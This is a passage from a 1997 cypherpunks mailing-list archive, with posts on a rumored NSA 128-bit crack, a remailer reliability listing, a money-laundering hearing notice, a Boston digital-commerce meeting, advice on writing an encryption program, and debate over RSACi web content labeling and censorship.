> >the universe to decrypt a 128-bit message.  Thirty-three minutes is more
> >like it."
> >
> >Observers at the press conference indicated that the senior official's
> >remarks were intended to be overheard by those standing nearby, who included
> >White House officials, reporters, and a troupe of girl scouts from Lundane,
> >Illinois.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 28 Jul 1997 08:47:36 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
Message-ID: <19970727234600.3398.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: NSA leak (fwd)

Ian Goldberg <iang@cs.berkeley.edu> writes:
> 2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
>    being extremely generous;

>                          (Actually, for all I know, terawatt power sources
>    may exist; that's out of my field.  Please let me know if this is the case.


Not within a few million miles of here, and they'd be hard to conceal.

A few GW is fairly easy, by several methods.

Terrestrial fusion is not a serious contender yet, and I doubt
it will be for a long time.



> 3. They have a quantum computer, or some alien technology, or something
>    else we know pretty much nothing about.

> Given this choice, I would vote for #3. :-)  However, I'd go out on a limb
> and say that the NSA guy was simply lying (or that the anecdote itself is
> mistaken).

I agree.  The 'something else' could be info about RNG flaws I suppose.
This guy couldn't be thinking about DES could he ?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frederick G.M. Roeber" <roeber@netscape.com>
Date: Mon, 28 Jul 1997 16:38:05 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
In-Reply-To: <Pine.SOL.3.95.970719232017.28206B-100000@orion.means.net>
Message-ID: <33DC5671.FFE641B7@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems that my latest build of Communicator regressed, and a bug
reappeared.  I edited the "newsgroup" line and turned it into a "to"
line to Ian.  Nevertheless, the message appeared here.  Sigh.

Damn, I hate Mondays.

-- 
Frederick G.M. Roeber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Mon, 28 Jul 1997 13:59:08 +0800
To: iang@cs.berkeley.edu
Subject: Re: NSA leak (fwd)
Message-ID: <199707280532.BAA03808@carl.cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

   Date: Sun, 27 Jul 1997 23:11:22 EST
   From: Ian Goldberg <iang@cs.berkeley.edu>

   Uh-huh.  Unless the Administration has granted a secret Executive Order
   repealing the Laws of Physics for the NSA, the above statement, if true,
   would imply one of the following things:

	[3 violations of physics as we know it]

I'm not saying that the posting was legit, but you can apply the same
thinking to the breaking of Enigma using 1940 technology.

The assumption which might not be valid is that 128 bits of key in RC4 or
RC2 (the popular export algorithms) is worth a full 128 bits.

 - Carl


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: mailcrypt-3.4

iQCVAwUBM9wu3FQXJENzYr45AQEcjQP+N0TJh91ciAoxWmIQdIRRfKJ6XA7UuTk5
bL/3LEJKJ+r3WmbmQGSozMIrMM/Dn6sWCuo3XYOQI+Mrj7VG327lXFi3NnnhyXZe
t4yV+zxVZbUqkB9Ms5BhUL7mOFeZ3T2C9jBlUg2gq5D3TxVBn6U9QWe3jnHbA8jr
jQ1pgN/nxi4=
=zFC5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harry Tuttle Remailer <h_tuttle@rigel.cyberpass.net>
Date: Mon, 28 Jul 1997 17:33:16 +0800
To: cypherpunks@toad.com
Subject: Re: NSA leak (fwd)
In-Reply-To: <19970727234600.3398.qmail@squirrel.owl.de>
Message-ID: <199707280920.CAA07789@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jul 27, 1997 at 11:46:00PM -0000, Secret Squirrel wrote:
> Subject: Re: NSA leak (fwd)
> 
> Ian Goldberg <iang@cs.berkeley.edu> writes:
> > 2. Their cracker changes the state of 2^128 bits in 33 minutes.  This is
> >    being extremely generous;
> 
> >                          (Actually, for all I know, terawatt power sources
> >    may exist; that's out of my field.  Please let me know if this is the case.
> 
> 
> Not within a few million miles of here, and they'd be hard to conceal.
> 
> A few GW is fairly easy, by several methods.

Terawatts for a few microseconds is fairly standard technology, I 
believe.  Femtosecond laser pulses driven by *very* large capacitor 
banks... 

> Terrestrial fusion is not a serious contender yet, and I doubt
> it will be for a long time.

It's easy to generate lots of power through fusion.  The problem is 
confinement. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 28 Jul 1997 22:04:26 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199707281350.GAA26934@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 28 Jul 97 6:49:34 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config@anon.efga.org              #*-**#*##-+    23:42  99.99%
nym      config@nym.alias.net             ######**-+##  1:09:39  99.97%
htuttle  h_tuttle@rigel.cyberpass.net            #*###      :42  99.96%
cracker  remailer@anon.efga.org           *+ -++++++-+    39:07  99.92%
hera     goddesshera@juno.com             +-----------  4:13:46  99.92%
weasel   config@weasel.owl.de             +-++++++++-   1:31:07  99.87%
squirrel mix@squirrel.owl.de              +-+++++-++-   1:30:29  99.86%
arrid    arrid@juno.com                   +--- *+*+++*    49:18  99.84%
winsock  winsock@rigel.cyberpass.net       .-+-------+  4:57:25  99.65%
cyber    alias@alias.cyberpass.net         ***+****-++    20:17  99.56%
mix      mixmaster@remail.obscura.com      ** -* -*-++  2:32:46  99.10%
reno     middleman@cyberpass.net           .-+ +  +*++  1:57:53  97.61%
replay   remailer@replay.com                 * ** *       32:46  96.23%
neva     remailer@neva.org                #-*    + +**    39:46  93.10%
jam      remailer@cypherpunks.ca          *        +**    50:05  90.34%
valdeez  valdeez@juno.com                 *.-- +----    4:14:27  89.14%
bureau42 remailer@bureau42.ml.org         *-----        3:34:59  28.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Jul 1997 19:48:29 +0800
To: cypherpunks@toad.com
Subject: House Committee Hearing on Money Laundering
Message-ID: <v03110715b0022b11505a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: jmuller@brobeck.com (John D. Muller)
Mime-Version: 1.0
Precedence: Bulk
Date:  Sun, 27 Jul 1997 20:32:04 -0700
From: jmuller@brobeck.com (John D. Muller)
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  House Committee Hearing on Money Laundering

     For those with a strong stomach for testimony on the need to
     strenghten money laundering laws and extend know-your-customer
     requirements to non-banks, material from last week's hearings on money
     laundering and the drug trade by the House Judiciary Committee's
     Subcommittee on Crime are now on-line at
     http://www.house.gov/judiciary/364.htm

     John Muller
     jmuller@brobeck.com
----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

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Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
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Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <rhayden@orion.means.net>
Date: Mon, 28 Jul 1997 21:15:09 +0800
To: Secret Squirrel <nobody@secret.squirrel.owl.de>
Subject: Re: NSA leak (fwd)
In-Reply-To: <19970727234600.3398.qmail@squirrel.owl.de>
Message-ID: <Pine.GSO.3.96.970728080047.25589B-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



FYI:  I was only passing along information whcen I forwarded the original
message from fight-censorship. 

Contrary to the hate mail I'm getting, I am not an NSA spook nor am I an
agent for some other TLA.

Please knock off the mailbombs, it's rather childish and tackey.
 
=-=-=-=-=-=
Robert Hayden				rhayden@means.net
IP Network Administrator		(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 29 Jul 1997 15:59:54 +0800
To: Guillotine <guill@xmission.com>
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <3.0.2.32.19970728081025.00772920@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:24 PM 7/27/97 -0600, Guillotine wrote:
>I'm creating a new _text_ cryptography program.  

What do you mean by "text cryptography"?  You'll only accept text as input,
or you'll produce your output in ASCII, or you'll produce your output
as English-like words?  None of the common encryption algorithms treats
text input any differently that raw bits, and it's worth taking whatever
input you have and compressing it to reduce the amount of data the
encryption and transmission phases need to handle.  Producing printable
ASCII as an output format isn't a cryptography issue - it's just a 
simple reversable transform from a bunch of raw bits to printable,
and there's no excuse for inventing a new format rather than using
MIME encoding, uuencode, or btoa, unless you're doing something extremely
creative with Unicode...  

Producing output as English-like words is more interesting.
It's a steganography issue, not a cryptography issue, since you should
be doing the secure part first anyway, but it can be useful for
obscuring the fact that you're using crypto in a message.
The canonical reference is to Peter Wayner's Mimic Functions,
which let you model an arbitrary context-free grammar for output,
but you should also look around for "texto".  (The other canonical
reference is to "PHB", Dilbert's program that disguises the message
in Pointy Haired Boss jargon, but I'm not aware that anyone's written it.)

A good book to read on cryptois Bruce Schneier's "Applied Cryptography",
which discusses most of the current algorithms and how they're used.
>The encryption algorithm,
>using a symmetrical is going to be as strong as legally allowed, 

There are no legal restrictions on cryptography strength in the US;
only restrictions on what's exportable, and even then you need permission. 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Jul 1997 21:18:28 +0800
To: cryptography@shipwright.com
Subject: DCSB: Duncan Frissell and MarketEarth
Message-ID: <v0311071eb0023ef9fda1@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Mon, 28 Jul 1997 07:36:46 -0400
To: dcsb@ai.mit.edu, dcsb-announce@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: DCSB: Duncan Frissell and MarketEarth
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

-----BEGIN PGP SIGNED MESSAGE-----


                 The Digital Commerce Society of Boston

                              Presents
                         Mr. Duncan Frissell,
                         Frissell Associates

                          "Markets Rule! OK
            Bet on MarketEarth -- Bet Against Bureaucracy"



                        Tuesday, August 5, 1997
                               12 - 2 PM
                   The Downtown Harvard Club of Boston
                     One Federal Street, Boston, MA



Mr. Frissell, the Net's most enthusiastic Technoptimist will answer such
questions as:  Why did Central Planning, Deutsche Telecom, and X.25
lose and the Market, telecoms competition, and TCP/IP win?  Can banks
compete with nonbanks?  Why controlling the Nets is as hard as controlling
the thoughts of other people.  Why popular measures like immigration
control are doomed.  What do such phenomenon as the Jewish Holiday
Effect, the Sack Full of Cats in the River Effect, the Canadian Air
Service Effect, the Saturday Morning Shopping Trip Effect, and the
Taiwanese Privatization Effect tell us about the future of government
and the individual?  Why things are not the same and never will be again?
Why the Market is "X-The Unknown," "The Blob," -- and why even Steve
McQueen couldn't save us from it?

"Duncan Frissell makes Kevin Kelly sound like Jimmy Carter." -- Anonymous

Mr. Frissell, an Attorney, privacy consultant, and author, has worked
in what he insists on calling the "Right Wing Nut Investment Community"
for more than 20 years.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, August 5, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, August 2, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga, <mailto: rah@shipwright.com> .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to <mailto: majordomo@ai.mit.edu> .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to <mailto: majordomo@ai.mit.edu> .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston
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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from this list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb-announce
Or, to subscribe,           write:  subscribe dcsb-announce
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 28 Jul 1997 22:05:07 +0800
To: cypherpunks@toad.com
Subject: Re: New Crypto Application
In-Reply-To: <199707272124.PAA12529@xmission.xmission.com>
Message-ID: <99yJae4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Guillotine <guill@xmission.com> writes:

> Greetings fellow Cyphers...

I guess that doesn't include me, but greetings anyway.

> I'm creating a new _text_ cryptography program.

Will a user be able to uuencode a binary file and pretend that it's text?

> The encryption algorithm,
> using a symmetrical is going to be as strong as legally allowed,

Better hurry - there are no legal restrictions in the U.S. on how hard you can
make it for internal use, but that may change soon.

> and after
> copyrighting the program,

It's copyrighted the moment you've written it. Some people spend $10
on registering their copyright with the Library of Congress. You can
even file your source code there.

> I'm going to release the source code and explain
> everything about it (since it can be reverse engineered anyways).

That's a commendable idea. However if your program will use reasonable
strng encryption, you should talk to a knowledgeable lawyer before
publishing it in a way which might be construed as "exporting" it.

> The
> reason I'm sending this e-mail to you is my request for more knowledge, and
> if you're like me, then you have an extreme thirst for knowledge!

You sound like you could use some.

[snip]
>                        I was going to call the program AlphaNumeric
> Encryption, but that says pretty much nothing...  I might just call it
> something like Cipher Pad (or Cypher Pad if nobody cares that I use
> "cypher") , since it's only for text encryption.  If you have a better idea
> for a name for this program, then please suggest it to me.

How about "One-Time Sanitary Pad"?

(Note to the list: I have been having little problems indeed (some of my
systems hacks for OS/2 no longer working under Microsquish) but they're
almost entirely fixed or rewritten now.  Microsquish sucks indeed. I'm
glad I have a backup OS/2 box.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 29 Jul 1997 00:21:22 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <199707281559.KAA06339@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33DCB302.70F58811@cptech.org>, on 07/28/97 
   at 09:56 AM, James Love <love@cptech.org> said:

>   What is your strategy to avoid RSACi type systems?  To persuade
>parents that there is no need to censor kids from graphic images of
>sexual acts?  Good luck.  Or to suggest something which addresses the
>obvious problems, and takes the steam out of the more ambitious labeling
>systems?  Or to hope that the status quo survives because it is too
>difficult to construct an alternative (the stategy that most antilabeling
>people seem to be relying upon)?  

Well there happens to be a little anoying thing called the Constitution of
the Untied States of America. In there there is what is know as the First
Amendment. In this admendment there is a clause that says "Congress shall
pass no law ...".

It should be obvious even to you that RSACi or any other manditory
labeling system it blaitently unconstitutional in direct violation of the
First Amendment.

One can not preserve ones freedoms through comprimise. History has shown
us this time and time again.

I don't know how Tim feels on this but I am not willing to comprimise one
inch on this issue. The little Nazi censors need to be squashed like the
roaches that they are. Make no mistake about it the issue here is not
labeling but censorship. These groups pushing the labeling issue are
intrested in only one thing and that is gaining the power to control what
others can and cannot say. This is only a steeping stone in their grab for
power.

Back in the '30 we had a chance to stop the Nazi's and insted the world to
the easy route of comprimise and paied dearly for it latter on. The same
is true is true now. If we continue to back down and comprimise it will
only encourage them to bigger and bolder grabs for power.

This is the opening shots of the war for freedom of humanity. Either we
fight now for our freedoms or we shall die tomorrow in slavery.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 29 Jul 1997 00:45:37 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707261158.NAA19507@basement.replay.com>
Message-ID: <Pine.LNX.3.95.970728101758.2715B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 26 Jul 1997, Anonymous wrote:

>   What, exactly, is the problem?
>   Are these censorous motherfuckers of the opinion that protecting
> their children from these loudly proclaimed moral threats is not
> worth spending thirty or forty bucks on?
>   Are they saying that your and my rights and freedoms are worth
> less than the thirty or forty bucks it would take for them to
> purchase censoring software?
>   

Absolutely.  You know, I thought that this was all taken care
of when the supreme court ruled that CDA was overly broad and
didn't use the easiest mode of "protecting children".

The easiest mode is obviously shelling out the $20-$40 bucks
on babysitter software.  If parents are not willing to pay
a babysitter $20-$40 bucks a year to watch their children
while they go to the football game then they are guilty
of negligence.

I believe what we are really seeing is an attempt at corporate
welfare.  The censorship companies want us to rate ourselves so
they don't have to do the work.

I also think that the feds are using this as the first move
towards an Orwellian society where the "Policeman" is put
inside of us.

One last thing.  This whole concept of a RSACi approved
"news site" is so Orwellian that it boggles the mind.  It truly
demonstrates the arrogance with which the media treats the people.
They must think were really stupid.

Of course, for the most part they are absolutely correct.

On the other hand, how many people are actually aware of
RSACi much less the "approved news" category?

For what its worth...

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@sldc.ffg.com
Date: Tue, 29 Jul 1997 01:28:15 +0800
To: cypherpunks@toad.com
Subject: News from the Front (July Issue)
Message-ID: <B0000371332@www.bluesquirrel.com>
MIME-Version: 1.0
Content-Type: text/plain



An update to our customers and friends on happenings at 
-----------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 29 Jul 1997 01:56:46 +0800
To: James Love <love@cptech.org>
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <v03102802b002853c8cb5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



After reading several of James Love's posts, I think we are either just
talking at cross purposes, or that he hasn't thought carefully about the
constitutional issues. Maybe both. In any case, this'll probably be my last
response to his points.

At 7:56 AM -0700 7/28/97, James Love wrote:
>Tim May wrote:
>> It is this "crap" and "consequences" we are talking about.
>
>     This "crap" and "consequences" are what is happening before your
>eyes.  Law enforcement efforts, new legislation, complaints by church
>groups, parents -- pressure on Yahoo and other searching sites, etc.,
>being called names.

Of course. But some of this "crap" and "consequences" are what we are
fighting, as they are applications of force which make the "voluntary"
labelling standards hardly voluntary at all. If "law enfrorcement efforts"
and "new legislation" are not considered coercion, what is?

And in another post, you cited some sexual material as an example of what
you claimed was "unambiguously adult" material. Now you may think this, and
maybe even may think this, in terms of my personal views, but NAMBLA is
certain to disagree, which means the "unambiguously" part is ipso facto
false. So, again I make the point that a Board of Censors or somesuch must
get involved...I am not advocating this, just reiterating that your point
that official censorship is not needed because some materials are
"unambiguously adult" is incorrect.

I urge you to carefully think about these issues.

>
>> There is no requirement that one's writings be labelled as "adult."
>> Leastwise, I've read a lot of stuff in my life, and very rarely (if
>> ever)
>> have I seen much of it labelled as "adult" material.
>
>      Why label it then?  I won't.  I think people should resist labels
>on text.  99 percent of the concerns over web pages has to do with
>graphics..... I would suggest dealing with the most obvious and
>legitimate complains, but drawing a line where it made sense too.

I wasn't saying I planned to label my writings. I was making the point that
if "crap" and "consequences" (such as the law enforcement actions and
legislation you yourself mention above) befall those who mislabel their
sites, then surely this will not be confined to images alone. The "fisting
and pissing" stuff you cited in another message will be equally unsuitable
for children--many will claim--even if it is in the form of stories,
attempts to recruit, etc.

We have already seen this in the SurfWatch and KiddySafe filter debates,
where the inclusion of certain words is enough to get a site blocked.
(Understand that I am not arguing against KiddySafe's "rights" to do this,
only noting that words are clearly as important to some folks as images.)


>
>> >their back.  Those that didn't use the label could just put up with
>> the
>> >consequences, whatever they are.  I would expect (and hope) that the
>>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>
>> Such as the multiple years in prison that each of the Thomases got?
>
>     I don't know the Thomases, but did they get "multiple years in
>prison" for mislabeling?  Or for something else?

You should acquaint yourself with the Thomas case, as in "Amateur Action."
Any search engine will turn up lots of details.


>
>> (Again, just what is "mislabelling"? If I feel all children should be
>> exposed to sexual materials, or "Huckleberry Finn," whose standards am
>> I
>> supposed to use if not my own?)
>
>
>     Why would you want to label a book?  There isn't a demand for this
>in bookstores and libraries.  Why do this on the Web?

I give up. Really. You seem determined to miss nuances.

I was not making an argument for labeling books...far from it. I was making
the point that many would like to see online materials comparable to "Huck
Finn" labeled. And that this is clearly wrong.

Not wrong if folks want to truly voluntarily label a site containing "Huck
Finn" as being "unsuitable for children" or "offensive to some colored
people," or whatever floats their boat. But wrong if "crap and
consequences" befall anyone who _fails_ to warn children away or who
deliberately "mislabels" (!!) their "Huck Finn" site as being "suitable for
children" when some religious or parents group thinks otherwise.

(To forestall Jim's likely literalist question, "Why do you think "Huck
Finn" is unsuitable for children?," let me state that I don't think it is.
But many school boards and minority groups have said they think it is, and
so it provides a good example of where the voluntary self-labeling is
ambiguous. And, like I said, even the "fisting and pissing" is apparently
ambiguous to NAMBLA.)


>         I think labeling of text, in general, is a very bad idea.  I
>can imagine some cases where authors might want to
>label some text with an adult tag.  But I don't really think this is
>something that should be encouraged.  I don't think this is the hot
>button issue that graphics (and films) are.

We agree. None of us are encouraging it. At least none of us on the
Cypherpunks list, I don't think. You're missing the real point.

The vast majority of Web sites which are now being blocked by the various
Net.nanny filters are mostly of _text_ ! These are the sites discussing
teen pregnancy, birth control, homosexuality, early childhood sexual
experiences, medical advice, incest topics, and so on. Very seldom are
_images_ involved.

The notion that "voluntary self-labeling" would apply only to sites
carrying images is laughable. That you would argue that text-only sites
would not be subject to the "voluntary self-labeling" of PICS/RSAci shows
that you simply haven't thought about this much.

(The recent debate about news organzations being perhaps exempted from
self-labeling their online news is indicative of this...their online
releases are almost solely text, and "adult" images play almost no role in
their products. And yet there is active debate about whether they'll have
to label their stuff. Think about it.)



>
>> As long as ratings are completely and full uncoerced, fine. It's the
>> "crap"
>> and "consequences" you speak of that worry me. If one of the pieces of
>> crap
>> is  a $100K civil fine for mislabelling, or one of the consequences is
>> 5
>> years in jail, then it ain't a voluntary system, is it?
>

>   Well, one might see various forms of mandatory labeling.   And indeed
>one might see more and more pressure for more and more complex and
>objectional forms of labeling (labeling that seeks to provide more and
